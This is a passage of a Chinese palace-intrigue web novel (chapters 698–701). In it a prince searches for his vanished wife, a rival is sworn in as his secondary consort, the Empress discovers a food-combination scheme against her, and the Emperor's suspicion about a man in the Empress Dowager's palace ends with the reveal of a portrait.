轩辕翰挣扎着道:“事已至此,让云儿流落在外多一日,便就多一分危险,你让本王如何冷静?本王要立刻去昭告天下,让所有人帮本王把云儿寻回来。” 程良几近声嘶力竭地道:“殿下你想好了,王妃娘娘的丧礼已成,如此一来,咱们那可是欺君之罪啊!” 轩辕翰依旧什么都不管不顾,坚持着道:“本王管不了那么多了!” 程良只能继续劝导,道:“在不清楚王妃娘娘到底为什么要这么做之前,如今已然无法公然昭告天下寻人。即便昭告天下,不还是在皇城里找吗?西秦城内如今已经被我们的人掘地三尺,翻了无数遍了,都没有找到王妃娘娘。如今殿下您又还能去哪儿找啊?殿下你冷静一点儿。” “不能放弃,本王不能就这么放弃。” 闻此,轩辕翰一边喃喃低语着,终于渐渐安静了下来。 过了会儿,程良继而开口朝其禀报说:“殿下,关于那个人,已经有消息了。” 闻声,轩辕翰终于缓缓提起了一些精神,询问:“怎么说?” 程良道:“听说他们已经再次回到宫里了,那人之前在外面仿佛受了伤,听说好像是被狼给攻击了,不过现在应该已经无碍了。” 轩辕翰命令说:“继续派人密切监视。” 程良抱拳领命:“是!” 犹犹豫豫之间,程良再次开口说:“还有一件事……” “什么?”轩辕翰沉声问。 程良道:“陆少城主傍晚的时候带人离开了。” 轩辕翰问:“陆远离开了?他回国了?” 程良想了想,说:“并不是,陆少主似是带人往西北方向去了。” 轩辕翰疑惑地道:“他去西北做什么?” 程良摇摇头,似乎也不甚明白。 暗自想了一会儿,轩辕翰默默地道:“陆远此行,就是为了寻云儿回东宁国继位,他一定是有了关于云儿的新消息,方才离开的。” 顿时间,他忽然反应了过来,道:“难道陆远,他找到了云儿的下落?” 闻此,程良心里惊了一下:“他才来西秦没几日,怎么可能?” 轩辕翰即刻命令:“赶快派人去盯紧他,他极有可能已经找到了云儿的下落,绝对不能让他带云儿离开。” “是!” 第六百九十八章:深秋入宫 看到轩辕翰如今已然着急地为了衣上云的事情,险些乱了分寸误了大事,程良一得令便急急离去,安排相关事宜。 “不行,看来永安宫里的事必须加快速度了。” “否则,若是真的让陆远捷足先登将云儿带回东宁国继位,那云儿以后的处境便就更难了!” 程良离去,轩辕翰一个人继续默默地思量计划着。 可让他心里更觉不安的,则是璟帝。 “他到底查到了些什么,又在以什么要挟着云儿?” “是不是正因为这些,云儿才选择了以这样的方式离开自己?” 一念至此,轩辕翰不禁嘴里不停地再次轻唤起她的名字来。 “云儿……” “云儿……” 深秋时节。 整个西秦皇城内外俱都盛开着五颜六色的菊花,却数永安宫里的最是上品。 宫门口摆放着几簇迎人的秋菊,或卷或舒,逸香似有似无。 进了宫门。 蔚蓝的天空、淡淡的白云,金黄的果实、饱满的红墙。 更有那七彩秋菊,团团簇拥在一起。 或大如拳头傲然挺立,或迎风摇曳,或如霞似火,或雍容尊贵,或似清水绿波,如款款而行的仙子…… 明明皆是一脉相承的菊,却绽放出形态迥异、颜色不同的花朵,令人称奇的同时,亦将这里装扮得热闹非凡。 千百年来,菊花素以轻身延年之功效,而被赋予长寿之象征。 更因其傲霜晚香的品格,博得花中君子之美誉。 华夏民族赋予它精神,将其视为坚强的象征。 如此一切的一切,使得永安宫里今日显得更为庄重。 就在这样一个秋高气爽的日子,陆天骄怀揣着满心欢喜,终于入宫了。 永安宫内,一缕缕香烟袅袅升起。 太后,高高在上地端坐着。 一旁的皇后,亦在其一侧就坐陪同。 陆天骄独自缓缓来到大殿上,朝着面前的两位主子毕恭毕敬地行跪拜大礼。 “民女陆天骄,参见太后娘娘,皇后娘娘,千岁千岁千千岁!” 皇后微微点头,对其笑了笑。 太后却是欣喜不已,着急地开口说:“起来吧!快点上前来让哀家仔细瞧一瞧。” 陆天骄这才慢慢抬起头来,立起身,来到了太后的面前。 太后伸手将其一只手捉住,一边轻抚着其手背,一边回忆着。 “记得上次哀家见你的时候,那时你还是个什么都不懂,去哪儿都要人牵着的小女孩儿。时间过得可真快,转眼当年的小女孩儿竟就已经长这么大了,看这闭月羞花水灵的模样。看来,哀家的确是真的老了。” 一阵秋风拂面,陆天骄开口说道:“太后娘娘万寿无疆,眼下正是风华正茂的年岁,怎可言老?” 太后听了,一时竟笑得合不拢嘴,说:“这丫头长大了,没想到竟生出一张巧嘴,如此地甜,说的哀家心花怒放,心里舒服得很。” 陆天骄继续投其所好,道:“民女说的这些,都只是实话而已。一定是太后娘娘您平日里因为宫中琐事烦恼,太过多虑了,从未认真注意到而已。” 太后似是对陆天骄相当满意,遂频频点头。 过了会儿,又继续说:“如果不是前段时间你随你父亲陆贤进宫来述职,哀家在御花园里偶遇到你,还真是差点儿就把你给忘了。” 陆天骄脸色忽然变得黯然下来,道:“民女与兄长年幼时丧母,生下来便就不知何为母爱?幸得太后垂怜,幼时在宫中太后娘娘对民女的教诲,民女至今都觉记忆犹新,这一切,民女此生至死都不会忘记。” 太后听了,亦发出一阵叹息。 “唉,说来也是两个可怜苦命的孩子,小小年纪便就没有了母亲。如今一个早已及笄,你的兄长,亦早已过了弱冠之年,听闻亦是到现在都还尚未成亲。想来,也是陆贤一人,既做爹,又做娘,还要为人臣子,实在顾不上这些,这实属亦是我皇家的疏忽,耽误了你们兄妹俩人的终身大事。” 说着顿了顿,忽然问陆天骄:“如今哀家命人给你的赐婚,你可还满意?” 仅仅一个侧妃而已,陆天骄又怎会甘愿,如何满意? 可轩辕翰本人在大殿之上执意如此,自是亦没人能改变什么? 只要自己能进秦王府的门,她心里总觉得,自己日后一定还是会有机会的。 于是,此刻她即便不满意,也得满意,便佯装笑脸迎合着道:“天下有多少名门望族的千金贵女,皆都想嫁给秦王殿下。民女出生寒门,又何德何能,若不是得太妃娘娘垂爱,此生又怎能得偿所愿,民女多谢太后娘娘成全!” “真是个乖巧懂事的孩子。” 太后再次拍了拍她的手,似也无可奈何着道:“哀家没想到,这秦王表面上看似冰冷无情,竟会也是个长情的。不过,秦王妃已然殁了,你进府后,说到底,秦王府未来的女主人还是你,只是眼下,只要你不嫌弃是个侧室便好!” 闻此,陆天骄咬了咬牙,依旧笑着吞吞吐吐地说道。 “不会……” “侧妃……” “很好!” 看着陆天骄明显无论如何,都已下定决心一心要入秦王府的门,太后亦不再说什么。 遂扬起声来朝殿外唤了一声:“都进来吧!” 霎时间,前前后后跟着走进来约莫十几名宫女。 太后开口介绍道:“这些侍女,都是哀家平日里用的最得心应手的。在你入宫的前几日,哀家又命人仔仔细细挑了一遍,剩下的这十几个,是当中最好的,哀家今日便把她们都赏给你,供你使用,到时一起给你做陪嫁!” 闻此,陆天骄顿觉大吃一惊,开口拒绝道:“这……这可万万使不得!既然是太后娘娘用惯了的老人,自是应该留下来一直好好服侍太后娘娘才是,民女根本就不需要人服侍,民女自己完全可以的。” 太后却道:“这进了秦王府,好歹你也是个王妃了,身边怎能没有自己的侍女?听闻秦王府内婢女甚少,微乎其微,你还是得都留着,只怕仅仅这些还远远不够呢!到时哀家再给你挑一些。” 陆天骄坚持不要:“可不管怎么说,她们毕竟都是娘娘您用惯了的人呀。” 太后道:“哀家这边,不还有皇后可以再为哀家调教新人嘛,你就尽管拿去用好了,不用替哀家担心。” 看到自己已然再无法拒绝,陆天骄便也只能妥协接受了。 遂朝太后致谢:“如此,那……民女多谢太后娘娘赏赐。” 这时,太后表情忽然认真了一些,说:“只是有一条。” 陆天骄道:“太后娘娘您请说。” 太后说:“只是有一条,进了王府后,千万莫要忘了哀家那日在御花园中亲自教你的规矩。” 闻此,陆天骄忽然怔了一下,似是被什么吓到了一样。 而此时,面对着太后朝自己所投来的坚定的眼神。 使得陆天骄不得不答应:“是,民女时刻谨记太后教导,一定不会忘记。” 至此,太后终于再次扬起了笑脸,道:“如此甚好!” 紧接着,便将目光移向了一旁的皇后,说:“好了,哀家确实老了!亦教不了你太多,这秦王侧妃,日后还是由皇后亲自来教导吧!毕竟,秦王是皇帝唯一的兄弟,皇后亦是秦王唯一的皇嫂,理应为他尽这片心。” 闻声,皇后微笑着答应道:“是,儿臣谨遵母后之命,定当竭力为皇叔调教出一个合格的王妃来!” 太后仿佛很满意,笑了笑,遂遣散众人:“好了,哀家也乏了,你们都且先退下吧!” 皇后与陆天骄纷纷起身来,朝太后行礼。 “儿臣告退!” “民女告退!” 走出永安宫的门。 皇后一边朝自己的宫殿往回走,一边思量了许久。 终于还是决定开口问陆天骄:“陆小姐,听闻你打小便对秦皇叔情有独钟,可秦皇叔说过,秦王妃只此一人,即便如此,你当真只愿意做他的侧妃?” 陆天骄想了想,回答说:“民女自小便与秦王殿下在书院相识,的确对殿下一见钟情。此生只要能与殿下长相厮守,哪怕只是远远地看着他,其他一切便都不重要了。” 皇后听了,直觉她的回答已然在她的意料之中。 可却隐隐觉得,陆天骄想要的,一定不会仅此而已。 转而又想起了前几日,她随其父兄进宫,与太后在御花园中相遇的情形。 便问道:“还有,那日本宫明明让你在那亭子里等本宫带你回去。可你后来怎会出现在御花园里,你是不是早就知道太后在那里,所以才故意去那里的。” 陆天骄却矢口否认道:“民女与太后在御花园的确是偶遇,民女等了皇后许久都不见娘娘回来,便就跌跌撞撞不小心闯进了御花园,并不是皇后娘娘所想的那样。那日,我真的不知道太后也在御花园。” 闻此,皇后遂发出一阵冷笑:“哼……” 继而提醒她:“日后在秦王府,还望陆小姐能收敛起自己的这些小聪明。秦皇叔身经百战,阅人无数,可是个眼里绝对容不得沙子的人,尤其是在王府里。” 听着皇后的话,陆天骄跟随着她的脚步,一路沉默着,却没有再说一句话。 第六百九十九章:竟敢对本宫下毒 夜幕降临。 御书房里,到处一片灯火通明。 璟帝看似聚精会神地手里正执着一本古籍,端坐在案前。 实则却是心里若有所思着,正在暗自琢磨有关衣上云的事情。 殿内的大太监刚刚读完今日傍晚传回宫里的,有关衣上云在草原上的最新近况。 言语之间,情绪明显有些激动:“真是没想到,这个女人,无论到哪里,竟真是一点儿也不安分。自己的身子都已经自顾不暇那样了,居然还有心思在草原上开起了医舍,叫什么云上医舍。” 顿了顿,似是越想越气愤:“她竟将那蛮夷之地愚蠢的女人们全都聚集了起来,想习医术的,不计任何回报教其医术,就连最差的,亦被教的颇通识草辨药之术…” 大太监已然气地不行,然更多的则是担心:“因那女人的医术颇为高超,诊费又低,甚至对一些穷困潦倒之人还免费义诊,故在草原上备受欢迎。据说,还有许多男人亦找她听诊治病,如若照此再继续下去,当地的医药馆将严重亏损,怕是不止有大半就要被迫关门了。” 而璟帝心中此时却是百思不得其解,问:“依照我朝规定,女子是不能取得行医令行医的,自从北烈战败囊括我西秦后,亦是如此,那这云上医舍又是如何开起来的?” 大太监想了想,说:“老奴听说,是有个身份极为神秘之人,捐给府衙上百匹骏马并竭力替其担保,方才得了此令的!” 璟帝听闻似是都不敢相信自己的耳朵,遂大惊:“你说有人替她捐给府衙上百匹骏马?” 大太监肯定极了地点了点头。 “可她明明就是一个人独自去的草原,到底是谁如此这般地帮她?” “那个人,会不会也知道了她的身份?所以对她示好,其实另有所图?” “不行……” 璟帝愈往下想去,愈担心,遂思虑片刻后,即刻吩咐道:“赶快派人去仔细查清楚这件事,看其背后,到底是什么人在帮她?” 大太监一得令,便赶忙答应道:“是,老奴这就安排人去办。” 刚刚转身,正欲迈步离开,忽被璟帝再次叫住:“等等……” 大太监骤然转身,问:“皇上还有什么吩咐?” 璟帝想了一瞬,道:“为避免夜长梦多,让人去带话给她,就说不必再等半年期到,朕命她即刻回宫。” 大太监心里犹豫了一下,说:“可皇上您乃九五之尊,曾答应过给她半年时间,便就当一言九鼎,莫非这次真要对一个女人食言?老奴只怕,依照她的性子,她怕是不会顺从……” 璟帝却言之凿凿地道:“朕乃天子,由不得她不从!更何况,是她自己隐瞒身份,欺朕在先,朕至今都未追究,已是仁慈,她又怎能怪朕言而无信?” 话虽已至此,看到大太监依旧有些犹豫,璟帝眼里饱含着愤怒。 顿了顿,又道:“那个药女还在我们手里,除此之外,我们不还有其他筹码吗?再不行,大不了我们再拿些筹码出来,御药房的那个药师够不够?亦或其满门,乃至秦王府,难道还不够?” 璟帝始终确信极了,拥有这么多筹码,衣上云一定会束手就擒,乖乖听自己的话:“朕就不信,这一切,她会都不在乎?” 大太监恍然明白了过来,朝其恭敬地道:“是,老奴明白了!” 继而转身疾步离去。 恰时,一名侍卫与其擦肩而过。 一见其出来,侍卫紧忙顿足停下靠边,朝其施礼:“大监。” 大太监随意“恩”了一声。 继而叮嘱他:“皇上这会儿正在气头上,等会儿进去说话可要长点儿心!” 侍卫朝其谢道:“多谢大监提醒。” 直到看到大太监已然离去,侍卫方才继续脚步匆匆地跨过门槛进来,走到了璟帝的面前,抱拳恭敬地道:“启禀皇上。” 见其明显有些行色匆匆,待其近身过来后,璟帝开口询问道:“发生何事?” 只见那侍卫小心翼翼地上前,朝着璟帝身边凑了过去,竟还附上其耳朵,对其耳语起来。 片刻后。 待侍卫刚刚站立了回去,璟帝便瞪大了眼睛质问他:“此事当真?你确定永安宫里有这个传闻?” 侍卫点了点头。 霎时间,忽闻偌大的殿内,顿时响起一阵雷霆之怒来:“岂有此理?!” 说着,便立起身来愤愤朝殿外走去。 一边走,一边道:“走,朕倒要亲自去看看,到底是什么人,竟如此大胆,敢觊觎当今太后。” 回到自己宫里,皇后将陆天骄安置好后。 此时,终于坐在了自己的殿内。 对一名婢女叮嘱道:“你们将陆天骄务必给本宫盯紧了,切莫让她再在宫里兴风作浪,惹出什么事端来!” “是!” 婢女领命后,便缓缓退了下去。 届时,另一专门负责奉茶的婢女走了进来,朝其双手奉茶:“娘娘,请用茶。” 因为方才与陆天骄在回来的路上一番对话,皇后此刻心头难免有些气愤与烦躁。 遂看都没仔细看,便将其手里高高举过头顶的一碗茶汤接过,轻抿了一口,却似是入口后有些出乎意料,便道:“此茶的香气与味道,倒是挺特别的,像是第一次尝到……” 奉茶婢女赶忙解释说道:“此乃枸杞茶,是将冷水煮开,再加入红枣、枸杞同煮。后加入冰糖,煮至溶化。此乃玥公主盛夏来信时教奴婢的方子,说务必经常要煮给皇后娘娘饮用。” 皇后瞬间已然再也顾不上陆天骄所带给自己的烦恼,直觉有些吃惊地问:“你说什么,这是玥儿……” 奉茶婢女点点头,说:“公主虽然远在千里之外,却是心里时刻都惦记着娘娘呢!公主说,此茶具有滋养皮肤的作用,可使面部皮肤细嫩光滑。枸杞更具有滋养肝肾、明目等功效,久服可以延缓衰老,防治须发早白,且最适合深秋干燥气候饮用。” 闻此,皇后顿转而陷入对轩辕玥的深深思念中。 “玥儿……” “本宫可怜的皇儿……” “今生今世,不知何时才能再见她一面!” “这个孩子向来只对本宫报喜不报忧,亦不知道她究竟过的如何?” 一念至此,皇后不禁眼里顿时含满了泪水,悄悄擦拭起来。 一旁的奉茶婢女见了,一时之间亦不知该如何安慰? 过了会儿,待皇后稍微缓和了些情绪。 方才继而问那婢女:“你是专门负责本宫膳食的,可否已查清楚了,那日,究竟为何本宫陪同皇上同陆贤一家用完膳后,在带陆天骄回宫的路上忽然会腹痛不止?” 奉茶婢女想了想,说:“奴婢已仔细一一查过了,那日同娘娘一起用膳的人,除了娘娘自己,其他人都是好好的。想来,膳食定是不会有什么问题。娘娘不妨再仔细想想,当日,您是否还进食过些什么其他比较特别的东西……” “特别的东西……”皇后听了,便再次仔细将那日的情形回忆了一番。 过了会儿,忽然想起了一事,便说道:“那日,在用膳前,陆天骄给了本宫一些水栗子,执意要让本宫尝尝。说那是她特地从西秦学院亲自采摘的,乃城南的当季特产。本宫一时感动,便就尝了一些。” 奉茶婢女听了,思量片刻,支支吾吾地说:“难道就是因为这个水栗子……” 见其嘴里像是在自言自语些什么,皇后紧忙追问:“你说是因为什么?是不是,那水栗子有什么问题?” 奉茶婢女回过神来,介绍道:“水栗子,又被称为‘水中落花生’。味甘,正所谓‘熟者甘平,鲜者甘凉’,它的确有健脾益气、安中补五脏的作用。” 顿了顿,瞬间便明白了一切。 于是继续说:“眼下这个时候,正是城南水栗子成熟的季节,确实很是鲜美。但是娘娘有所不知,水栗子与猪肉同食,便就会腹痛不止。” 闻此,皇后亦恍然大悟,遂咬了咬牙,道:“果然是她,小小年纪,便就有如此城府。” 遂顿将一巴掌重重地拍在了身边的案几上,怒声道:“竟敢对本宫下毒!” 奉茶婢女亦甚觉不可思议极了:“没想到,这陆小姐的品性,怎么和陆院长,还有陆公子竟会差之千里?” 皇后紧紧握起一只拳头来,道:“第一次进宫,她便就能将这所有一切盘算的如此不差分毫。用膳前,先劝本宫吃下水栗子,又在用膳时,频频替本宫夹有肉的菜,后来便就在本宫带她回宫的半道上,趁本宫离开,偷偷去御花园面见了太后,想来她去找太后,一定与赐婚有关。” 皇后惊诧极了:“她竟将本宫与太后就这样皆都玩弄于鼓掌之上,这个陆天骄,果然不简单!” 正暗自思量着。 又一名婢女疾步进来,道:“皇后娘娘不好了!” 闻此,皇后先遣走了奉茶婢女,最后叮嘱其道:“好了,你先下去吧!这件事,切记不可到处宣扬,本宫倒要看看,她究竟有多大能耐?” “奴婢知道了!” “奴婢告退!” 奉茶婢女退了下去。 皇后方才开口问:“这般慌慌张张的,究竟发生了什么事?” 第七百章:永安宫的男宠 “这般慌慌张张的,究竟发生了什么事?” “奴婢奉娘娘的命,刚才去永安宫里送东西,听说了一件事情,是有关于太后娘娘的,他们说……说……” 那婢女吞吞吐吐的,看似颇有些难为情。 遂心下里一急,干脆赶忙上前去在皇后的耳边对其耳语了起来。 皇后一听,甚觉吃惊地看向婢女的脸,仿佛不可思议极了地问:“你说的是真的?” 婢女连连点头,又道:“那人这会儿仍旧还在太后那里,就连皇上都已经被惊动,亲自过去永安宫查看了!” 闻此,皇后顿惊立起身来,道:“你说什么?皇上已经去永安宫了?” 婢女肯定极了地道:“刚才在回宫的路上,奴婢亲眼看见的。” 皇后心中惊慌不已,拔腿一边往出走,一边道:“快走,去永安宫。” 婢女亦赶忙紧紧跟随。 此刻的永安宫里,到处一片灯火通明。 晚膳过后,太后手中正捧着一碗清香四溢的茶汤。 一边撇去上面漂浮着的几片浮茶,一边漫不经心地问:“身上的伤,可都已经好些了?” 黄昏时分,被召入宫来的龙恩,正落座在其一旁。 许久以来,太后还是第一次这般语气温和的与他交谈。 闻此,龙恩心里不禁忽然升起一丝温暖。 于是开口回答:“都已经好的差不多了,多谢太后娘娘关怀。” 太后一听,松了口气,忽然间语气又再次变得严厉起来。 “都多大的人了,怎么行事还如此鲁莽,竟想起一出是一出,为何突然跑到那样危险的地方去?若不是寿公公及时赶到,你可还有命回来?” 显然,在觻县所遭遇的一切,明显亦是远远超出了自己所料。 只是无论如何,眼看着到手的鸭子就这么飞了,着实令人遗憾。 龙恩遂亦只能朝其致歉:“对不起,这一切都是我的错。原本以为,这次一定能将她找回来,不成想,还未来得及验证,便就遇到狼群的攻击,险些还……” 太后听了,狠狠地道:“愚蠢至极,真是成事不足,败事有余。” 看到龙恩缓缓低垂下头去,变得情绪低落起来。 太后又有那么一点点不忍心,于是道:“好了,你也不要太过于灰心,人没事便好。既然已经有了方向,便就抓紧去查,切莫让他人捷足先登。” 听了太后这番话,龙恩顿时再次打起精神来,道:“谨遵太后娘娘教训,我一定会尽快将她找出来的。” 说完,只见龙恩一边开始从身上摸索着什么东西,一边说:“对了,听闻觻县盛产奇石美玉,此次我特地为娘娘寻了一块回来。这几日又在城里找了最好的工匠,制成了这只镯子,还望太后娘娘能喜欢。” 说着,便将怀里揣着的一只铸金翡翠龙凤五彩手镯拿了出来。 只见这只手镯上,带有紫色、白色、绿色、红色、黄色五种颜色。 为了使得手镯增添更多的贵气,手镯的表面上全部都是铸金镶刻。 龙恩握着这只巧夺天工的宝物,起身到太后的面前,双手朝其眼前递了上去。 岂料,太后显然似是对那手镯很喜欢,朝其怔愣了好一会儿。 方才缓缓伸出一只手去,道:“既是你的一片孝心,那你亲自替哀家戴上。” 龙恩听了,心里顿觉受宠若惊,亦是愣了一会儿,忽地回过神来,赶忙答应道:“是!” 就在龙恩近身过去,跪身在其面前,一心为太后专心佩戴手镯。 太后亦是眼里满含慈爱地俯视着他,重逢后第一次无比近距离,含情脉脉地端详着自己多年未见,流落在外的亲骨肉。 甚至内心蠢蠢欲动,犹犹豫豫的还想用另外一只手去抚摸他时。 璟帝刚好跨过门槛,怒气冲冲地走了进来。 一进门,看到眼前俩人之间如此亲密的距离,还有所正在做的亲呢之事。 偌大寂静的殿内。 眼前这一切,无不驱使他顿暴跳如雷,扬声怒吼了一声:“你们这是在做什么?” 闻声,龙恩被打断顿转回头,朝来人叩首道:“参见皇上万岁万岁万万岁。” 太后亦几乎与其同时惊看向璟帝此刻乌黑的脸庞,道:“皇帝,你怎么来了?” 而璟帝却只自顾自地朝其质问:“他是何人?殿内的奴才们呢,怎么只有你们二人在这里,做什么呢?” 见其言语不敬,毫无礼数,只顾着质问连连,太后即刻动怒:“皇帝,请注意你的态度和言辞,他是寿公公的远房亲戚。” 闻此,璟帝顿觉惊诧极了。 他看看太后,又看看跪在自己面前的人。 “谁?” “寿公公?” “他不是已经去世很多年了吗?” “这个人,他不是母后寻来的男宠吗?!” 闻此,太后方才恍然大悟:“皇帝你说什么?男宠?你以为他是哀家……” 遂哼笑了一声,道:“所以说,皇帝是来永安宫捉奸的?” 璟帝心里愈想愈不对劲。 “他是寿公公的远房亲戚。” “寿公公?他不是已经……” 一念至此,璟帝疑惑地开口问道:“寿公公,他不是在当年城隍庙里纯太妃所遭遇的那场大火中,亦一同遭遇不测了吗?况且这么多年,从未听说过他有什么远房亲戚……” 就在这时。 进来一个步履蹒跚,手里捧着一木盘的太监。 那太监一看到璟帝的身影,便朝其连忙下跪:“老奴参见皇上万岁万岁万万岁!” 待到终于看清楚此人的脸,璟帝瞬间立在原地,惊呆了。 “寿公公,怎么是你?” “你……你竟然真的还活着?” 太监道:“幸得上天垂怜,太后娘娘庇护,当年的那场大火,老奴方才得以幸存。” 璟帝闻此,顿换了一副嘴脸,居然亲自上前去将其扶起身来:“寿公公对朕有救命之恩,快点请起!” 太监一边起身,一边道:“儿时的事情,皇上不必记在心上,这都是奴才份内该做的事情。” 璟帝只觉庆幸地道:“公公尚还活着,如此,真的是太好了!” 这会儿,太监方才正式朝璟帝介绍:“那场大火,虽然没有将老奴烧死,但却重伤了老奴一条腿。这些年来,幸得我这位侄子多年如一日的照料,方才使得老奴有今日再次回宫侍奉太后娘娘的一日。” 说着,太监看向太后的脸,顿了顿,又继续道:“娘娘垂爱,叫老奴说什么,都得将这侄子带进宫来见一面亲自致谢。没想到,居然让皇上误会了,这都是老奴的错,老奴马上便将他带走。” 说着,便一步一跛地朝其过去,将至今还跪在冰冷的地板上的龙恩扶起身来。 “我早就说了,这里本就不该是你这种人来的地方,还不起来随我出宫去。” 俩人一道迈步,欲走出大殿去。 这时,忽闻璟帝的声音再次在大殿上响起:“慢着……” 太监顿足停下,朝其信誓旦旦地道:“皇上放心,老奴保证,他这辈子再也不会出现在宫来了!” 璟帝快步过去,拦在了俩人的面前,笑着说:“寿公公,你误会朕了,朕并不是这个意思。今晚的事,的确是朕的错,未经查实,便就听信了别人的谣言。其实朕是想说,儿时朕过于贪玩,失足落水险些丧命,若不是公公,哪有朕的今日?!” 太监听着璟帝的这些话,心里却暗自在道:“当年少主人下落不明,流落在外,渺无音讯,若不是没有其他可替代的人,奴才也不会伸出援手救你。只是如今,你确是不好对付了。” 顿了顿,璟帝最后做了决定:“以后你的侄儿便就住在永安宫了,想住多久便就住多久,有你们在,还可以给母后解闷,如此一来,岂不是一举两得。” 太监听了,故作惊诧地道:“这如何使得?老奴的侄儿即非宫里的侍卫,亦非和老奴一样的太监,如何能在宫里久住?” 璟帝略显无助,遂看向太后的脸。 因为璟帝对自己的怀疑,太后心里着实有些生气。 但想一想,又道:“既然皇上都已经同意了,你们就安心住下吧!日后,让皇上看着给他在宫里安排一个无关紧要的职位便是!” 至此,太监拉着龙恩一起赶忙跪地谢恩。 “如此,老奴谢太后,谢皇上!” “感谢太后,感谢皇上!” 这时,看到太后依旧脸色阴沉。 璟帝便上前过去朝其致歉。 “对不起,母后。” “今日,的确是儿臣失礼了。” “儿臣的确不知,寿公公尚还……” “所幸,今后有寿公公在母后身边照料,儿臣便更放心了!” 太后亦教训说道:“身为皇帝,以后行事,莫要再如此捕风捉影了。” 璟帝道:“母后教训的是,儿臣日后定不会这样了!” 至此,关于永安宫的男宠这件传闻,终于总算是真相大白。 璟帝的目光,遂不经意地扫了一下,最后忽然回落在了太监刚刚端进来的木盘上。 璟帝有些好奇地问:“这是什么?” 第七百零一章:一幅画像 “这是什么?” 偌大的殿内,此话一出。 太后、寿公公,连同龙恩三人一起,皆都顿时愣在了原地,不约而同地将目光投向木盘中所放的一幅卷轴字画上。 过了会儿,终是寿公公先开口打破了这片宁静:“回皇上,这是太后娘娘命宫里的画师……” 岂料话未说完,太后急急开口将其打断,说:“怎么?哀家年纪大了,难道不可以给自己盘算着留一幅遗像吗?” 璟帝一听太后再次怒了,这明显是话里有话还在责怪自己。 于是赶忙开口说:“母后寿与天齐,万万不可说这样的话!” 太后冷笑了一声,道:“被自己的儿子如此污蔑,哀家没被气死已是万幸,还怎么可能指望着能寿与天齐?” 眼看着,无论自己做什么,亦或说什么。 只一再被冷言冷语相待,璟帝咬了咬牙,也只能继续致歉说:“儿臣知道错了,还望母后莫再生气。” “哼……” 太后遂朝其发出一阵冷哼声来,扭头不再看她。 气氛明显有些尴尬,寿公公便再次开了口:“启禀皇上,这的确是一幅女子的画像,只不过,并不是太后的,而是我那侄子不久前遗失的表妹。” 璟帝方才恍然大悟,却又有些不解:“你侄子的表妹?怎么会?” 寿公公点了点头,继续说:“太后仁慈,得知我那侄子正在着急寻找这位表妹时,说宫里的画师定能将我侄子的表妹画的跟真人一样。日后有了这画像,想来寻起来便就更容易些。” 这时,璟帝忽然看向龙恩的脸,问他:“你那表妹是怎么遗失的?” 第一次同璟帝面对面对话,龙恩心里不禁顿惊了一下,道:“回皇上,大约两个月之前,我与表妹在来皇城的路上,不小心走散了。” 璟帝想了想,问:“可否需要朕派人帮你去找?” 龙恩赶忙推辞道:“皇上日理万机,这点小事不敢惊动皇上,草民自己处理便好。” 璟帝点点头,说:“好吧,如果有需要朕帮忙的时候,你便就直说。” 龙恩道:“谢皇上!” 至此,三颗俱都一起被悬在半空中的心,也总算是落了下去。 这时,璟帝放眼过去看了看窗外的夜色。 繁星点点,月色如银。 于是便道:“夜深了,母后早点休息吧,儿臣告退!” 太后依旧看也不看他的脸,只漫不经心地回了一声:“嗯……” 无奈,璟帝便只能先挪步离开了永安宫。 跟出殿外,确定其已经彻底离去。 这时,寿公公方才过去将那幅卷轴字画拿到了太后的面前,小心翼翼地缓缓展开来。 尽管心里早就已经对守护者是何人猜的七七八八,一旁的龙恩亦还是凑了上来。 寿公公一边进行着手里的动作,一边说道:“太后娘娘,这便是由宫里最好的画师根据老奴所描述的,绘制而成的似便就是守护者后人的画像!” 太后遂将目光投向画面仔细看了看:“这模样,尤其是那一双炯炯有神的凤眼,生的的确十分好看。” 龙恩目光一扫,瞬间便将其认了出来,心里暗自发出一连串惊叹声来。 “居然是她?!” “果然是她!” “若曦……” “东宁国嫡公主……” “南安太子和秦王轩辕翰的软肋……” “她竟真的就是遗失的守护者后人!” “此事事关重要,需得暂且对任何人保密。” 太后看着看着,亦是隐隐觉得这张脸有些熟悉:“这画中的女子,看起来怎么有些眼熟,哀家像是在哪里见过?” 这时,姗姗来迟的皇后刚刚站在了永安宫的门外。 已然听不到里面有任何动静,心里犹犹豫豫间,始终都不知自己还要不要进去。 于是便开口问门口的侍卫:“皇上可还在里面?” 那侍卫回禀道:“皇上刚刚已经离开了。” “离开了?” 一时之间,不知方才这里都发生了些什么的皇后心乱如麻。 却忽然从殿内传出一声:“是皇后在外面吗?” 情势所逼,皇后已是不得不进去,于是便急急跨过门槛进入殿去。 来到了太后的面前,朝其恭敬地屈膝行礼:“儿臣参见母后!” 太后见了,问:“这么晚了,皇后怎么过来了?” “儿臣……” “儿臣……” 看到皇后吞吞吐吐,太后仿佛忽然明白了过来。 只见她忽然将脸色沉了下来,道:“哀家明白了。看来,今夜哀家的宫里还真是热闹,难不成,皇后也是来永安宫里……” 不及将话说完,皇后便已惊慌失措,赶忙将其打断:“不是的,母后,儿臣只是听闻寿公公回来了,特地来母后这边探望。” 闻此,寿公公赶忙站出来朝皇后行礼:“老奴给皇后娘娘请安!” 皇后亦急急看向寿公公的脸,朝其慰问道:“寿公公,多年未见,您可还好?” 寿公公伸手将龙恩拉扯到自己身旁,说:“这些年,得亏了老奴这侄子多年来的照料,老奴一切都好。” “草民见过皇后娘娘!”龙恩遂朝皇后问候。 “难道这便才是母后真正的……” 皇后微微点头,对其目光明显有些躲闪。 只从他身上一闪而过,便微笑着对寿公公说道:“公公没事便好,回来便好。” 心里虽然有些顾虑,但想着皇后这些年来对自己亦算得上是衷心。 太后一边思量着,还是唤来了皇后,道:“皇后,你过来看看。皇后对这个女子,可有印象?” 皇后上前近身过去一看,顿时朝那画像惊呆了,心里暗自说道:“是她!” 太后见仿佛有希望,便紧忙追问:“皇后可是认得这女子?” 皇后不解地问:“不知这女子是……” 太后解释说:“这是寿公公这个侄子的表妹,第一次跟着出远门,前不久不小心遗失了,这会儿着急着正在到处找呢!” 皇后想了想,道:“这女子长得竟如此倾国倾城,的确世间少有,儿臣还是第一次见这么国色天香的美人!” “皇后没见过?”听着皇后的话,太后这才恍然明白了过来。 皇后摇摇头,说:“如此这般的美人,怕是亦只有在画上才会出现吧!” 太后却是不以为然,再次琢磨着画中的人:“可哀家怎么总觉得,这女子有些眼熟,像是在哪里见过?” 皇后说:“许是有些人,眉眼之间有几分相像也是有的!” “是吗?”太后一边端详着手里的画像,一边不经意地发出一阵呢喃的声音来。 皇后微笑着点点头,心里却默默地自顾自地问。 “秦王妃怎么就变成了他们口中所说的寿公公侄子的表妹了?” 